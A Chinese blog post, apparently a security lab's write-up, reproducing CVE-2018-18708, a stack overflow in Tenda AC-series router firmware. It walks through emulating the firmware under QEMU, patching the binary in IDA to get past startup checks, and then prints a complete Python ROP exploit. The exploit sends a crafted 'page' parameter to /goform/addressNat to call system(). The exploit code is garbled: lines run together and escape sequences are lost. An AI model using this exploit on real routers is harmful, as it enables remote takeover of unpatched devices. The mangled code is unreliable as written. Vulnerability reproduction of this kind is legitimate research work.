CVE-2018-18708:TENDA缓冲区溢出漏洞复现

admin 2023年6月6日01:19:19评论40 views字数 2762阅读9分12秒阅读模式


漏洞概述

CVE-2018-18708,多款Tenda产品中的httpd存在缓冲区溢出漏洞,在处理 post 请求的函数“fromAddressNat”的“page”参数时,该值直接在 sprintf 中用于放置在堆栈上的局部变量,这会覆盖函数的返回地址,从而导致了缓冲区溢出漏洞。

以下产品和版本受到影响:Tenda AC7 V15.03.06.44_CN版本;AC9 V15.03.05.19(6318)_CN版本;AC10 V15.03.06.23_CN版本;AC15 V15.03.05.19_CN版本;AC18 V15.03.05.19(6318)_CN版本。



固件模拟
首先下载存在漏洞的固件,下载地址:
https://down.tenda.com.cn/uploadfile/AC15/US_AC15V1.0BR_V15.03.05.19_multi_TD01.zip
解压固件
binwalk -Me US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin --run-as=root
CVE-2018-18708:TENDA缓冲区溢出漏洞复现

解压后在_US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/目录下存在squashfs-root文件系统

CVE-2018-18708:TENDA缓冲区溢出漏洞复现

安装qemu-user-static

sudo apt install qemu-user-static
CVE-2018-18708:TENDA缓冲区溢出漏洞复现

接下来利用quem来调试

cp $(which qemu-arm-static) ./sudo chroot . ./qemu-arm-static ./bin/httpd

此时会发现会一直卡在启动界面

CVE-2018-18708:TENDA缓冲区溢出漏洞复现

将/bin/httpd文件拖进IDA中,使用alt+t组合键搜索“WeLoveLinux”关键字。如下图所示,此处存在存在的check_network、ConnectCfm会进行网络连接确认,需要对这两个方法的返回值进行patch才能绕过此处的判断逻辑,否则将一直卡在启动界面。

CVE-2018-18708:TENDA缓冲区溢出漏洞复现

使用IDA插件keypatch进行patch

https://github.com/keystone-engine/keypatchhttps://github.com/polymorf/findcrypt-yara
pip install keystone-enginepip install sixpip install yara-python

需将keypatch.py、findcrypt3.py、 findcrypt3.rules三个文件拷贝到IDA的plugin目录

重启IDA后,右键可以看到keypatch插件

CVE-2018-18708:TENDA缓冲区溢出漏洞复现

接下来通过Keypatch->Patcher将check_network、ConnectCfm的MOV R3, R0都修改为MOV R3, #1

CVE-2018-18708:TENDA缓冲区溢出漏洞复现
CVE-2018-18708:TENDA缓冲区溢出漏洞复现

点击Edit->Patch->Apply patches to input file,即可让上面的patch生效。再将patch后的httpd文件替换掉原本的/bin/httpd文件,并赋予文件执行权限。

继续利用quem来调试

sudo chroot . ./qemu-arm-static ./bin/httpd

发现IP地址不对

CVE-2018-18708:TENDA缓冲区溢出漏洞复现

建立一个虚拟网桥br0

brctl addbr br0ifconfig br0 192.168.1.1/24
CVE-2018-18708:TENDA缓冲区溢出漏洞复现

拷贝web程序所需文件到/webroot/目录

cp -rf ./webroot_ro/* ./webroot/
CVE-2018-18708:TENDA缓冲区溢出漏洞复现

再次调试

chroot . ./qemu-arm-static ./bin/httpd

访问http://192.168.1.1,成功搭建漏洞环境

CVE-2018-18708:TENDA缓冲区溢出漏洞复现



漏洞利用

漏洞EXP如下:

import socketimport osfrom pwn import *li = lambda x : print('x1b[01;38;5;214m' + x + 'x1b[0m')ll = lambda x : print('x1b[01;38;5;1m' + x + 'x1b[0m')ip = '192.168.1.1'port = 80r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)li('[+] connecting')r.connect((ip, port))li('[+] connect finish')rn = b'rn'libc_base = 0x3fd9c000system_addr = 0x005a270 + libc_basepop_r3_pc = 0x00018298 + libc_basemov_r0_sp_blx_r3 = 0x00040cb8 + libc_basep1 = b'a' * 244 + b'a' * 4 + p32(pop_r3_pc) + p32(system_addr) + p32(mov_r0_sp_blx_r3) + b'id'p2 = b'page=' + p1p3 = b"POST /goform/addressNat" + b" HTTP/1.1" + rnp3 += b"Host: 192.168.0.1" + rnp3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rnp3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rnp3 += b"Accept-Language: en-US,en;q=0.5" + rnp3 += b"Accept-Encoding: gzip, deflate" + rnp3 += b"Cookie: password=hum1qw" + rnp3 += b"Connection: close" + rnp3 += b"Upgrade-Insecure-Requests: 1" + rnp3 += (b"Content-Length: %d" % len(p2)) +rnp3 += b'Content-Type: application/x-www-form-urlencoded'+rnp3 += rnp3 += p2li('[+] sendling payload')r.send(p3)response = r.recv(4096)response = response.decode()li(response)

执行EXP 

可以看到模拟固件进程已经退出,并提示“段    错误”,溢出漏洞复现成功。

CVE-2018-18708:TENDA缓冲区溢出漏洞复现

美创科技旗下第59号实验室,专注于数据安全技术领域研究,聚焦于安全防御理念、攻防技术、威胁情报等专业研究,进行知识产品转化并赋能于产品。累计向CNVD、CNNVD等平台提报数百个高质量原创漏洞,发明专利数十篇,团队著有《数据安全实践指南》


原文始发于微信公众号(第59号):CVE-2018-18708:TENDA缓冲区溢出漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月6日01:19:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2018-18708:TENDA缓冲区溢出漏洞复现https://cn-sec.com/archives/1774233.html

发表评论

匿名网友 填写信息